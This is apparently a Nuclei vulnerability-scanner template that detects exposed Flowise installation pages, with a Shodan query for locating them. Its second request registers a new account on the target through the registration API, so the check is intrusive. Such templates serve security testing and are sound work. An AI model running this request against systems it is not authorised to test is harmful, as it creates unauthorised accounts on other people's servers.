id: flowise-installer

info:
  name: Flowise Installation Wizard - Exposure
  author: pussycat0x
  severity: high
  description: |
    Flowise Installation Wizard is susceptible to the Installation page exposure due to misconfiguration
  metadata:
    verified: true
    shodan-query: http.title:"Flowise - Build AI Agents, Visually"
  tags: misconfig,exposure,install,flowise,intrusive,vuln,ai

variables:
  name: "{{to_lower(rand_text_alpha(5))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/organization-setup"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Flowise - Build AI Agents, Visually")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/account/register HTTP/1.1
        Host: {{Hostname}}

        {"user":{"name":"{{name}}","email":"{{email}}","type":"pro","credential":"{{password}}"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"{{name}}","{{email}}","organization")'
          - 'status_code == 201'
        condition: and
# digest: 4b0a004830460221008b918ed26527adb5aafffbdacaa65f5066b6907695f84d3cea2a3c86c3748b1a022100816cd0a3fe90bf0f7756b6c382f635ba2f1ea6328689e3dda32601500146f0ea:922c64590222798bb761d5b6d8e72950